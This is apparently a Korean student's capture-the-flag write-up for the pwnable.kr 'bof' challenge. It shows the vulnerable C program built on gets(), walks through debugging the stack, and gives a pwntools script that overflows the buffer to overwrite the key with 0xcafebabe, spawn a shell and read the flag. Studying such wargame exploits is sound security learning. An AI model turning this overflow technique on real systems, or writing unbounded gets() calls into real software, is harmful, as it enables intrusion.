
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key) {
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
이 문제는 gets() 함수의 취약점을 이용한 공격을 하여 플래그를 얻어내야 한다. 이 함수는 표준 입력을 받아 buffer에 저장하는 함수이다. 그러나 이 함수에는 심각한 취약점이 있다. 바로 입력을 받는 길이에 대한 제한이 없다는 것인데, 이 말은 즉 buffer가 받을 수 있는 용량을 초과하여 받을 수 있다는 것이다. 이렇게 입력을 받을 수 있는 길이를 초과하여 받았을 때를 Buffer Overflow 취약점이라고 한다. 우리는 이 취약점을 이렇게 이용할 수 있다.
우선 C 코드만 보았을 때 gets() 함수가 실행된 바로 다음 라인에 key(우리가 변조해야할 변수)와 0xcafebabe에 대해 같은지를 검사하고 있으므로 디버깅을 통해 더 자세히 볼 것이다.
1. break point를 main과 func에 설정한다.

2. disass(역어셈블) 명령어를 통해 main과 func의 구조를 살펴본다.

3. 구조를 살펴보았다면 break point를 걸어둔 상태로 프로그램을 시작한다.

우리는 이 함수를 조사할 것이다.

우선 우리는 gets()에 break point를 걸고 값을 입력할 것이다.

이렇게 위와 같이 "AAAA"를 입력하고 현재 해당 문자열을 가리키고 있는 ESP의 메모리를 조사한다.

이렇게 24개의 값을 보게 되면 0x41414141 로 이루어진 값이 존재한다. 이 값은 리틀엔디언으로 표기가 되어 있으며 이전에 입력했던 "AAAA" 중 'A'의 아스키 코드가 0x41 이라는 것을 알고 있다면 이것이 buffer가 시작되는 지점이라는 것을 알 수 있다. 그리고 0xffffd6d0의 첫 번째 값에 0xdeadbeef(key 값)이 존재하는 것으로 보아 Buffer Overflow를 유발하여 버퍼의 주소부터 key 값이 존재하는 주소의 값 전까지 임의로 값을 바꾸고 아래 조건을 충족하기 위해 0xcafebabe로 값을 덮어씌운다.
cmp dword ptr [ebp + 8], 0xcafebabe
; ebp + 0x8은 현재 push된 key 값의 시작 주소에서 ebp + 0x8까지 읽어들인다는 뜻이다.
이제 방법을 알아냈으니 Shellcode를 만들어보자.
# file: bof_shellcode.py
from pwn import *
r = remote('pwnable.kr', '9000')
# Payload
# Stackframe + Stackframe Pointer + Dummy += Payload
# BOF가 일어난 상태이지만 break point로 stack frame check 함수를 만나지 않아 패닉이 발생하지 않음
# 'A' 문자 52개를 삽입하여 BOF를 발생시키면 key값인 0xdeadbeef를 변조하기 직전까지 갈 수 있다.
pay = b'A' * 0x34
pay += b'\xbe\xba\xfe\xca' # 0xcafebabe
r.sendline(pay)
r.sendline(b'cat flag')
data = r.recv(1024)
print(data)

이번에 Pwn을 처음 제대로 공부하게 되었는데 정말 어렵긴 하지만 계속 풀어나가면서 CS 지식과 재미를 동시에 느끼는 것 같아 너무 행복하다. 계속해보자